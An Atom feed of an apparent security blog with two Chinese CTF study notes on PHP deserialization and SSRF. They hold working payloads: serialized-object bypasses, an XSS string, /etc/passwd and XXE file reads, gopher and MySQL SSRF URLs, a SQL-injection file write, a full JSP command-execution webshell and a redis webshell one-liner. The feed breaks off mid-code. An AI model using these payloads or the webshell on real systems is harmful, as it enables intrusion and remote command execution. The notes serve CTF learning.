<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>worny</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://worny666.github.io/</id>
  <link href="https://worny666.github.io/" rel="alternate"/>
  <link href="https://worny666.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, worny</rights>
  <subtitle>聚焦 CTF、Web 安全与 AI 安全</subtitle>
  <title>worny's Security Lab</title>
  <updated>2026-07-02T15:24:30.995Z</updated>
  <entry>
    <author>
      <name>worny</name>
    </author>
    <category term="CTF" scheme="https://worny666.github.io/categories/CTF/"/>
    <category term="php反序列化" scheme="https://worny666.github.io/tags/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    <category term="Web安全" scheme="https://worny666.github.io/tags/Web%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<blockquote><p>安全声明：本文仅用于 CTF 学习与授权环境复现。<br>可直接运行的 PHP shell 示例已替换为 <code>&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>对应十六进制 PHP payload 已替换为 <code>&lt;HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>文中的危险脚本文件名发布时统一改为 <code>output.txt</code>，避免触发杀软或被误用为可执行脚本。</p></blockquote><h1 id="php反序列化"><a href="#php反序列化" class="headerlink" title="php反序列化"></a>php反序列化</h1><h2 id="魔术方法"><a href="#魔术方法" class="headerlink" title="魔术方法"></a>魔术方法</h2><p><img src="/images/php-unserialize/pasted-image-20260301160823.png" alt="pasted image 20260301160823"></p><p><strong>从序列化到反序列化这几个函数的执行过程是：<br><code>__construct()</code> -&gt;<code>__sleep()</code> -&gt; <code>__wakeup()</code> -&gt; <code>__toString()</code> -&gt; <code>__destruct()</code></strong></p><h2 id="绕过-wakeup"><a href="#绕过-wakeup" class="headerlink" title="绕过__wakeup()"></a>绕过__wakeup()</h2><h3 id="当成员属性数目大于实际数目"><a href="#当成员属性数目大于实际数目" class="headerlink" title="当成员属性数目大于实际数目"></a>当成员属性数目大于实际数目</h3><p>反序列化过程中，会先调用wakeup()方法再进行unserilize()，但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时，wakeup()的执行会被跳过<br>攻防世界的unserialize3<br><img src="/images/php-unserialize/pasted-image-20260301161800.png" alt="pasted image 20260301161800"></p><p>将设置属性值为2，可导致反序列化异常，如下所示。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:4:&quot;xctf&quot;:2:&#123;s:4:&quot;flag&quot;;s:3:&quot;111&quot;;&#125;</span><br></pre></td></tr></table></figure><p><img src="/images/php-unserialize/pasted-image-20260301162234.png" alt="pasted image 20260301162234"></p><h3 id=""><a href="#" class="headerlink" title="&amp;&#x3D;"></a>&amp;&#x3D;</h3><p>把两个变量指向同一内存地址,这样当对其中一个变量进行操作时，另一个也会随之变化</p><p><img src="/images/php-unserialize/pasted-image-20260301163325.png" alt="pasted image 20260301163325"></p><p>在<code>__destruct</code>中，条件为：<code>if(!isset($this-&gt;wakeup)||!$this-&gt;wakeup)</code>。这个条件的意思是：如果<code>$this-&gt;wakeup</code>不存在，或者存在但为假（即False），则执行echo。</p><p>我们的目标是让程序输出”You get it!”。但是，当我们反序列化一个对象时，会先调用<code>__wakeup</code>方法（如果存在），然后当脚本结束时，会调用<code>__destruct</code>。</p><p><strong>通过让 <code>key</code> 和 <code>wakeup</code> 指向同一个内存地址（引用），在 <code>__wakeup</code> 中设为 <code>True</code>，再在 <code>__destruct</code> 中通过修改 <code>key</code> 间接把 <code>wakeup</code> 改成 <code>False</code>，从而绕过检查，触发 “You get it!”</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$a = new ctf();  </span><br><span class="line">$a-&gt;key = &amp;$a-&gt;wakeup;  </span><br><span class="line">echo serialize($a);  </span><br><span class="line">序列化数据:O:3:&quot;ctf&quot;:2:&#123;s:3:&quot;key&quot;;N;s:6:&quot;wakeup&quot;;R:2;&#125;  </span><br></pre></td></tr></table></figure><h2 id="fast-destruct？"><a href="#fast-destruct？" class="headerlink" title="fast destruct？"></a>fast destruct？</h2><p>在反序列化攻击中，我们往往要利用某个类的 <code>__destruct()</code> 或 <code>__wakeup()</code> 等魔术方法来执行恶意代码。但默认情况下，反序列化完成后，对象会一直存活直到脚本结束，<code>__destruct()</code> 才会被调用。如果我们希望它在反序列化过程中立即执行（例如为了绕过某些检查，或者让恶意代码更早触发），就可以利用 fast destruct 技巧。</p><hr><h3 id="如何实现-fast-destruct？"><a href="#如何实现-fast-destruct？" class="headerlink" title="如何实现 fast destruct？"></a>如何实现 fast destruct？</h3><p>核心思路是 <strong>让 <code>unserialize()</code> 在解析过程中遇到语法错误，从而提前终止，并销毁已经部分构建的对象</strong>。有两种常用手法：</p><h4 id="1-修改序列化数组的元素个数"><a href="#1-修改序列化数组的元素个数" class="headerlink" title="1. 修改序列化数组的元素个数"></a>1. 修改序列化数组的元素个数</h4><p>对于一个数组的序列化字符串，格式是：<br><code>a:{元素个数}:{内容}</code><br>例如一个包含两个元素的数组：<br><code>a:2:{i:0;O:7:&quot;myclass&quot;:1:{s:1:&quot;a&quot;;O:5:&quot;Hello&quot;:1:{s:3:&quot;qwb&quot;;s:5:&quot;/flag&quot;;}}}</code><br>如果我们把元素个数改成 <strong>比实际多的数字</strong>，比如 <code>a:3:{...}</code>，那么 <code>unserialize()</code> 在解析时，会期望数组有 3 个元素，但实际只有 2 个。当它读完第 2 个元素后，发现字符串已经结束，就会报错（”unexpected end of string”），此时已经创建的两个对象（<code>myclass</code> 和 <code>Hello</code>）就会被立即销毁，触发它们的 <code>__destruct()</code>。</p><h4 id="2-去掉序列化字符串结尾的"><a href="#2-去掉序列化字符串结尾的" class="headerlink" title="2. 去掉序列化字符串结尾的 }"></a>2. 去掉序列化字符串结尾的 <code>}</code></h4><p>每个序列化结构都有明确的结束符，比如数组的 <code>}</code>、对象的 <code>}</code>。如果故意去掉最后一个 <code>}</code>，例如：<br><code>a:1:{i:0;O:7:&quot;myclass&quot;:1:{s:1:&quot;a&quot;;O:5:&quot;Hello&quot;:1:{s:3:&quot;qwb&quot;;s:5:&quot;/flag&quot;;}}</code><br>（注意末尾少了一个 <code>}</code>）<br><code>unserialize()</code> 会一直解析直到字符串末尾，发现缺少预期的结束符，同样会报错，并销毁已创建的对象。</p><h2 id="php-issue-9618-（wakeup与destruct在不同类）"><a href="#php-issue-9618-（wakeup与destruct在不同类）" class="headerlink" title="php issue#9618 （wakeup与destruct在不同类）"></a>php issue#9618 （wakeup与destruct在不同类）</h2><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>声明的字段为保护字段，在所声明的类和该类的子类中可见，但在该类的对象实例中不可见。因此保护字段的字段名在序列化时，字段名前面会加上<code>\0*\0</code>的前缀。这里的\0 表示 ASCII 码为 0 的字符(不可见字符)，而不是 \0 组合。也就是说当实例化的类里存在私有属性时比如private时，序列化它时会出现字符长度那里会出现不可见字符</p><p>但事实上只有这种情况能够绕过wakeup，也就是destruct和wakeup在不同的类的时候，如果他们存在同一个类时输入直接serialize得到的payload是没有回显的</p><p><img src="/images/php-unserialize/pasted-image-20260306071346.png" alt="pasted image 20260306071346"></p><h2 id="使用C绕过"><a href="#使用C绕过" class="headerlink" title="使用C绕过"></a>使用C绕过</h2><p><img src="/images/php-unserialize/pasted-image-20260301165040.png" alt="pasted image 20260301165040"><br>分析<br><strong><code>ArrayObject</code>序列化后以<code>C</code>开头的特性，将恶意对象“打包”进<code>ArrayObject</code>，生成以<code>C</code>开头的序列化字符串，绕过正则检查（正则只拦<code>O</code>&#x2F;<code>a</code>开头）。反序列化时，<code>ArrayObject</code>会“拆包”并触发内部恶意对象的<code>__destruct</code>，实现命令执行。</strong></p><p>payload<br><img src="/images/php-unserialize/pasted-image-20260301165150.png" alt="pasted image 20260301165150"></p><h2 id="原生类反序列化"><a href="#原生类反序列化" class="headerlink" title="原生类反序列化"></a>原生类反序列化</h2><h3 id="C开头"><a href="#C开头" class="headerlink" title="C开头"></a>C开头</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ArrayObject::unserialize</span><br><span class="line">ArrayIterator::unserialize</span><br><span class="line">RecursiveArrayIterator::unserialize</span><br><span class="line">SplDoublyLinkedList::unserialize</span><br><span class="line">SplQueue::unserialize</span><br><span class="line">SplStack::unserialize</span><br><span class="line">SplObjectStorage::unserialize</span><br></pre></td></tr></table></figure><h3 id="绕MD5-SHA1-XSS"><a href="#绕MD5-SHA1-XSS" class="headerlink" title="绕MD5&#x2F;SHA1 XSS"></a>绕MD5&#x2F;SHA1 XSS</h3><p>使用Error&#x2F;Exception内置类 这两个类使用方法一样的<br>例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$a = new Error(&quot;&lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;&quot;);</span><br><span class="line">$b = serialize($a);</span><br><span class="line">echo urlencode($b);</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$a=new Error(&quot;payload&quot;,1);$b=new Error(&quot;payload&quot;,2);</span><br><span class="line">$c=new Exception(&quot;payload&quot;,3);$d=new Exception(&quot;payload&quot;,4);</span><br><span class="line">echo $a.&quot;&lt;br&gt;&quot;;</span><br><span class="line">echo $b.&quot;&lt;br&gt;&quot;;</span><br><span class="line">echo $c.&quot;&lt;br&gt;&quot;;</span><br><span class="line">echo $d;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/images/php-unserialize/pasted-image-20260301191820.png" alt="pasted image 20260301191820"></p><p>这两个原生类返回的信息除了行号一模一样<br><img src="/images/php-unserialize/pasted-image-20260301192038.png" alt="pasted image 20260301192038"><br>发现可以绕过MD5和shal<br><img src="/images/php-unserialize/pasted-image-20260301192208.png" alt="pasted image 20260301192208"></p><h3 id="遍历文件"><a href="#遍历文件" class="headerlink" title="遍历文件"></a>遍历文件</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">DirectoryIterator </span><br><span class="line">FilesystemIterator </span><br><span class="line">GlobIterator</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="DirectoryIterator-基础用法"><a href="#DirectoryIterator-基础用法" class="headerlink" title="DirectoryIterator 基础用法"></a><code>DirectoryIterator</code> 基础用法</h4><p><img src="/images/php-unserialize/pasted-image-20260301194232.png" alt="pasted image 20260301194232"></p><h4 id="glob-伪协议突破限制"><a href="#glob-伪协议突破限制" class="headerlink" title="glob:// 伪协议突破限制"></a><code>glob://</code> 伪协议突破限制</h4><p><img src="/images/php-unserialize/pasted-image-20260301194340.png" alt="pasted image 20260301194340"></p><h3 id="读取文件"><a href="#读取文件" class="headerlink" title="读取文件"></a>读取文件</h3><p><strong>SplFileObject类</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$context = new SplFileObject(&#x27;/etc/passwd&#x27;);</span><br><span class="line">foreach($context as $f)&#123;</span><br><span class="line">    echo($f);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li><strong><code>SplFileObject</code>优势</strong>：<ul><li>自动处理大文件（不会内存溢出）</li><li>内置行号跟踪（<code>$file-&gt;key()</code>可获取当前行号）</li></ul></li></ul><h3 id="SSRF"><a href="#SSRF" class="headerlink" title="SSRF"></a>SSRF</h3><p>SoapClient 类<br>该内置类有一个 __call 方法，当 __call 方法被触发后，它可以发送 HTTP 和 HTTPS 请求<br>示例</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">public SoapClient :: SoapClient(mixed $wsdl [，array $options ])</span><br></pre></td></tr></table></figure><p>第一个参数是用来指明是否是 wsdl 模式，将该值设为 null 则表示非 wsdl 模式。</p><p>·第二个参数为一个数组，如果在 wsdl 模式下，此参数可选；如果在非 wsdl 模式下，则必须设置 location 和 uri 选项，其中 location 是要将请求发送到的 SOAP 服务器的 URL，而 uri 是 SOAP 服务的目标命名空间。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$a = new SoapClient(null,array(&#x27;location&#x27;=&gt;&#x27;http://47.xxx.xxx.72:2333/aaa&#x27;, &#x27;uri&#x27;=&gt;&#x27;http://47.xxx.xxx.72:2333&#x27;));</span><br><span class="line">$b = serialize($a);</span><br><span class="line">echo $b;</span><br><span class="line">$c = unserialize($b);</span><br><span class="line">$c-&gt;a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf</span><br><span class="line">?&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li><strong>location</strong>：是我们要攻击的目标服务器地址（即我们想让PHP服务器去访问的地址）。</li><li><strong>uri</strong>：只是一个命名空间标识符，通常设置为与location相关或任意合法URI，但<strong>它不代表本机或目标服务器</strong>。它不会触发网络请求到该URI（除非SOAP消息被解析时有外部实体引用，但SoapClient在生成请求时不会因为uri而发起请求）。</li></ul><h2 id="phar反序列化"><a href="#phar反序列化" class="headerlink" title="phar反序列化"></a>phar反序列化</h2><p><img src="/images/php-unserialize/pasted-image-20260306073740.png" alt="pasted image 20260306073740"></p><p><img src="/images/php-unserialize/pasted-image-20260306075111.png" alt="pasted image 20260306075111"></p><p>大体来说 Phar 结构由4部分组成</p><p><strong>1.stub ：phar文件标识</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">Phar::mapPhar();</span><br><span class="line">include &#x27;phar://phar.phar/index.php&#x27;;</span><br><span class="line">__HALT_COMPILER();</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>可以理解为一个标志，格式为<code>xxx&lt;?php xxx; __HALT_COMPILER();?&gt;</code>，前面内容不限，但必须以<code>__HALT_COMPILER();?&gt;</code>来结尾，否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位，构造一个图片或者其他文件，那么可以绕过上传限制，并且被 phar 这函数识别利用。</p><p><strong>2. a manifest describing the contents</strong><br>phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方。</p><p><strong>3. the file contents</strong><br>被压缩文件的内容。</p><p><strong>4. [optional] a signature for verifying Phar integrity (phar file format only)</strong><br>签名,放在文件末尾</p><p>前提：生成phar文件需要修改php.ini中的配置，将<code>phar.readonly</code>设置为<code>Off</code><br><img src="/images/php-unserialize/pasted-image-20260306075027.png" alt="pasted image 20260306075027"></p><h3 id="phar文件生成"><a href="#phar文件生成" class="headerlink" title="phar文件生成"></a>phar文件生成</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">class Testobj&#123;</span><br><span class="line">    var $output=&quot;&quot;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">@unlink(&#x27;test.phar&#x27;);    //删除之前的test.par文件(如果有)</span><br><span class="line">$phar=new Phar(&#x27;test.phar&#x27;);  //创建一个phar文件，文件名必须以phar为后缀</span><br><span class="line">$phar-&gt;startBuffering();    //开始写文件</span><br><span class="line">$phar-&gt;setStub(&#x27;&lt;?php __HALT_COMPILER(); ?&gt;&#x27;);   //写入stub头部信息</span><br><span class="line">$o=new Testobj();</span><br><span class="line">&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</span><br><span class="line">$phar-&gt;setMetadata($o);    //写入meta-data（序列化字段）</span><br><span class="line">$phar-&gt;addFromString(&quot;test.txt&quot;,&quot;test&quot;);    //添加要压缩的文件</span><br><span class="line">$phar-&gt;stopBuffering();</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p><img src="/images/php-unserialize/pasted-image-20260307061018.png" alt="pasted image 20260307061018"></p><h2 id="PHP-session反序列化"><a href="#PHP-session反序列化" class="headerlink" title="PHP session反序列化"></a>PHP session反序列化</h2><p>什么是session？其实就是服务器为了保存用户状态而创建的一个保存用户信息的特殊对象，是存储在服务端的，有session那肯定就有sessionid了，他是怎么来的？当我们浏览器第一次访问服务器时，服务器创建一个session对象并且该对象有一个唯一的id,叫做sessionId,服务器会将sessionid以cookie的方式发送给浏览器，当浏览器再次访问服务器时，会将sessionId发送过来，服务器依据sessionId就可以找到对应的session对象，在这创建session对象的时候服务端先进行序列化再存储到session文件里（session文件就是专门保存序列化后的对象的），相反服务器依据sessionId找到对应的session对象的过程就是通过提取session文件来反序列化生成对象的，就是在这过程中就有可能产生session反序列化漏洞了，<strong>前提条件使用不同的引擎来处理session文件</strong></p><p>当session_start()被调用或者php.ini中session.auto_start为1时，</p><p>php内部调用会话管理器，访问用户session被序列化以后，存储到指定目录（默认为&#x2F;tmp).</p><p>存取数据的格式有多种，常用的有三种<br><img src="/images/php-unserialize/pasted-image-20260301183442.png" alt="pasted image 20260301183442"><br><img src="/images/php-unserialize/pasted-image-20260307062212.png" alt="pasted image 20260307062212"></p>]]>
    </content>
    <id>https://worny666.github.io/2026/07/02/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</id>
    <link href="https://worny666.github.io/2026/07/02/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    <published>2026-07-02T14:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>安全声明：本文仅用于 CTF 学习与授权环境复现。<br>可直接运行的 PHP shell 示例已替换为 <code>&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>对应十六进]]>
    </summary>
    <title>php反序列化</title>
    <updated>2026-07-02T15:24:30.995Z</updated>
  </entry>
  <entry>
    <author>
      <name>worny</name>
    </author>
    <category term="CTF" scheme="https://worny666.github.io/categories/CTF/"/>
    <category term="Web安全" scheme="https://worny666.github.io/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="SSRF" scheme="https://worny666.github.io/tags/SSRF/"/>
    <content>
      <![CDATA[<blockquote><p>安全声明：本文仅用于 CTF 学习与授权环境复现。<br>可直接运行的 PHP shell 示例已替换为 <code>&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>对应十六进制 PHP payload 已替换为 <code>&lt;HEX_ENCODED_PHP_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code>。<br>文中的危险脚本文件名发布时统一改为 <code>output.txt</code>，避免触发杀软或被误用为可执行脚本。</p></blockquote><h1 id="SSRF"><a href="#SSRF" class="headerlink" title="SSRF"></a>SSRF</h1><h2 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h2><p>获取主机名</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">file:///etc/hosts</span><br></pre></td></tr></table></figure><p><img src="/images/ssrf/pasted-image-20260316181233.png" alt="pasted image 20260316181233"></p><hr><p><strong><a href="http://172.250.250.3/?id=1%27%2520union%2520select%2520NULL,NULL,NULL">http://172.250.250.3?id=1&#39;%2520union%2520select%2520NULL,NULL,NULL</a>,’<PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY>‘%2520INTO%2520DUMPFILE%2520’&#x2F;var&#x2F;www&#x2F;html&#x2F;output.txt’–%2520</strong></p><h2 id="gopher协议"><a href="#gopher协议" class="headerlink" title="gopher协议"></a>gopher协议</h2><h3 id="GET"><a href="#GET" class="headerlink" title="GET"></a>GET</h3><p><img src="/images/ssrf/pasted-image-20260313115858.png" alt="pasted image 20260313115858"></p><h3 id="post"><a href="#post" class="headerlink" title="post"></a>post</h3><p>四个必须的参数即POST、Host、Content-Type和Content-Length。如果少了会报错的，而GET则不用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">POST /flag.php HTTP/1.1</span><br><span class="line">Host: 127.0.0.1:80</span><br><span class="line">Content-Length: 36</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line"></span><br><span class="line">key=21ef36770f67a6ddf8809c5f14ab557f</span><br></pre></td></tr></table></figure><p>1.url路径编码<br>2.二次编码，同时将<code>%0A</code>全部替换为<code>%0D%0A</code>。因为 Gopher协议包含的请求数据包中，可能包含有<code>=</code>、<code>&amp;</code>等特殊字符，避免与服务器解析传入的参数键值对混淆，所以对数据包进行 URL编码，这样服务端会把<code>%</code>后的字节当做普通字节<br>3.最终完整url</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://challenge-2cc48a18335efbf5.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D21ef36770f67a6ddf8809c5f14ab557f</span><br></pre></td></tr></table></figure><blockquote><p>gopher协议记得在目标ip地址即host后面加一个占位符，不然会被吞掉第一个字符，推荐使用<code>_</code><br>{下划线}</p></blockquote><h2 id="SSRF之XXE"><a href="#SSRF之XXE" class="headerlink" title="SSRF之XXE"></a>SSRF之XXE</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; </span><br><span class="line">&lt;!DOCTYPE user [ </span><br><span class="line">&lt;!ENTITY xxe SYSTEM &quot;file:///etc/hosts&quot; &gt;]&gt; </span><br><span class="line">&lt;user&gt; </span><br><span class="line">    &lt;username&gt;&amp;xxe;&lt;/username&gt; </span><br><span class="line">    &lt;password&gt;admin&lt;/password&gt; </span><br><span class="line">&lt;/user&gt;</span><br></pre></td></tr></table></figure><p>将其附加至正常抓包页面下同时删去 <code>Accept-Encoding</code> 这一行，再将整体进行双重url编码<br>接着构造gopher协议即可</p><h2 id="SSRF之SQL注入"><a href="#SSRF之SQL注入" class="headerlink" title="SSRF之SQL注入"></a>SSRF之SQL注入</h2><p><img src="/images/ssrf/pasted-image-20260313124816.png" alt="pasted image 20260313124816"><br>再将ip后两次url编码</p><h2 id="SSRF之mysql"><a href="#SSRF之mysql" class="headerlink" title="SSRF之mysql"></a>SSRF之mysql</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python2 gopherus.py --exploit mysql  #启动 Gopherus 工具</span><br><span class="line">Give MySQL username: root</span><br><span class="line">Give query to execute: select * from security.users #**执行的 SQL 语句**</span><br></pre></td></tr></table></figure><p><img src="/images/ssrf/pasted-image-20260313131110.png" alt="pasted image 20260313131110"><br>结果</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1d%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%2e%75%73%65%72%73%01%00%00%00%01</span><br></pre></td></tr></table></figure><h2 id="SSRF之tomcat"><a href="#SSRF之tomcat" class="headerlink" title="SSRF之tomcat"></a>SSRF之tomcat</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">&lt;%</span><br><span class="line">    String command = request.getParameter(&quot;cmd&quot;);</span><br><span class="line">    if(command != null)</span><br><span class="line">    &#123;</span><br><span class="line">        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();</span><br><span class="line">        int a = -1;</span><br><span class="line">        byte[] b = new byte[2048];</span><br><span class="line">        out.print(&quot;&lt;pre&gt;&quot;);</span><br><span class="line">        while((a=in.read(b))!=-1)</span><br><span class="line">        &#123;</span><br><span class="line">            out.println(new String(b));</span><br><span class="line">        &#125;</span><br><span class="line">        out.print(&quot;&lt;/pre&gt;&quot;);</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">        out.print(&quot;format: xxx.jsp?cmd=Command&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">%&gt;</span><br></pre></td></tr></table></figure><p>将其附加至你的抓包页面下，同时再将整体进行双重url编码<br>接着构造gopher协议即可<br><img src="/images/ssrf/pasted-image-20260314131310.png" alt="pasted image 20260314131310"></p><p><img src="/images/ssrf/pasted-image-20260314131324.png" alt="pasted image 20260314131324"></p><h2 id="redis"><a href="#redis" class="headerlink" title="redis"></a>redis</h2><h3 id="未授权webshell写入"><a href="#未授权webshell写入" class="headerlink" title="未授权webshell写入"></a>未授权webshell写入</h3><p>1.虚拟机kali中</p><ul><li>cd ~&#x2F;桌面&#x2F;Gopherus</li><li>启动攻击模块：python2 gopherus.py –exploit redis</li><li>第一行输入攻击类型：PHPShell：生成一个 PHP WebShell 文件</li><li><pre><code>                             ReverseShell：生成一个直接反弹 Shell 的 payload</code></pre></li><li>第二行输入路径:这个路径决定了 Redis 写入的恶意文件最终存储在服务器的哪个位置，需根据目标服务器的 Web 目录结构或可利用路径填写，才能让后续的恶意文件被有效访问和执行</li><li><pre><code>                          /var/www/html</code></pre></li><li>第三行输入 WebShell 内容:<code>&lt;?=</code>$_GET[1]<code>?&gt;</code>Gopherus 会自动将 <code>dbfilename</code>（Redis 持久化文件名）设置为 <code>output.txt，配置完毕后</code>Gopherus 工具会根据输入生成相应的 Gopher 协议有效载荷<img src="/images/ssrf/pasted-image-20251212174234.png" alt="pasted image 20251212174234"><br>2.再次编码后附加到url，显示此页面为504，没有关系，执行这段payload的目标就是在服务器根目录上传木马output.txt<br><img src="/images/ssrf/pasted-image-20251212174301.png" alt="pasted image 20251212174301"><br>3.列出目录<br><img src="/images/ssrf/pasted-image-20251212174631.png" alt="pasted image 20251212174631"><br>4.获取flag<br><img src="/images/ssrf/pasted-image-20251212174805.png" alt="pasted image 20251212174805"></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span 